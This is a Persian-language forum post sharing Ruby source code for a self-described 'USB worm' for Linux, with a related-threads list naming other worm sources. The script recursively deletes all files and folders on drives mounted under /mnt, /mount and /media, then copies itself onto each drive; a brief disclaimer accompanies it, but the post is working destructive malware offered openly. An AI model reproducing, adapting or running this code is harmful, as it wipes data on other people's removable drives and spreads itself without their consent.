• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 1 رای - 5 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: (USB-Worm for UNIX/LINUX)
حالت خطی
#1
Description: This is a Virus (or Worm), that spreads by copying itself to all connected (flash)drives. It does this by checking the directories /mnt, /mount and /media (especially Ubuntu based systems) and copying itself to the directories stored in there. These are normally the ones, where the external drives are connected to. If there is nothing in those directories it will copy there anyway, if there is some data in the directories (normally, when a (flash)drive is connected) it will recursively delete ALL data.
WARNING: This virus has only been tested under special and limited conditions. Do not execute it on a working machine or a machine, that does not belong to you. You are responsible for all actions you take, the author nor the hoster of the site is responsible.

کد:
#!/usr/bin/env ruby
require 'fileutils'
$mount_dirs = Array.new
$mount_dirs = [ "/mnt", "/mount", "/media" ]
for $mount_dir in $mount_dirs do
    if File.directory?($mount_dir) then
        if File.writable?($mount_dir) then
            Dir.open($mount_dir).each do |$dir|
                next if $dir == "." || $dir == ".."
                $dir2 = $mount_dir + "/" + $dir
                    if File.directory?($dir2) then
                        if File.writable?($dir2) then
                            Dir.open($dir2).each do |$file|
                                next if $file == "." || $file == ".."
                                $file2 = $dir2 + "/" + $file
                                    if File.directory?($file2) then
                                        FileUtils.remove_dir($file2, true)
                                    end
                                    if File.file?($file2) then
                                        File.delete($file2)
                                    end
                            end
                        end
                    end
            end
        end
    end
end
for $mount_dir in $mount_dirs do
    if File.directory?($mount_dir) then
        if File.writable?($mount_dir) then
            Dir.open($mount_dir).each do |$dir|
                next if $dir == "." || $dir == ".."
                $dir2 = $mount_dir + "/" + $dir
                $virus = File.open("tetzuka.rb", "r")
                $virus2 = File.open("#{$dir2}/tetzuka.rb", "w")
                $blksize = $virus.stat.blksize
                while ($line = $virus.read($blksize))
                    $virus2.write($line)
                end
            end
        end
    end
end



گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


پیام‌های این موضوع
(USB-Worm for UNIX/LINUX) - توسط Amin_Mansouri - 11-09-2011، 03:17 PM

موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  Source Code IRC-Worm.Win32.Desire Delphi Amin_Mansouri 0 4,581 03-30-2012، 01:10 PM
آخرین ارسال: Amin_Mansouri
  Source Code LOA-worm Delphi Amin_Mansouri 0 6,207 03-30-2012، 01:05 PM
آخرین ارسال: Amin_Mansouri
  Source Code IRC-Worm.Hausex Delphi Amin_Mansouri 0 4,338 03-30-2012، 01:00 PM
آخرین ارسال: Amin_Mansouri
  USB Worm C++ Amin_Mansouri 0 3,657 10-12-2011، 12:11 AM
آخرین ارسال: Amin_Mansouri
  C++ worm example Amin_Mansouri 0 4,002 09-28-2011، 06:15 PM
آخرین ارسال: Amin_Mansouri
  [VB.NET]DC Worm Amin_Mansouri 0 5,408 09-26-2011، 09:41 AM
آخرین ارسال: Amin_Mansouri
  Delphi Usb Worm Amin_Mansouri 0 4,166 08-30-2011، 11:54 AM
آخرین ارسال: Amin_Mansouri
  Source Code Virus & Worm Amin_Mansouri 4 8,743 06-25-2011، 10:55 AM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 2 مهمان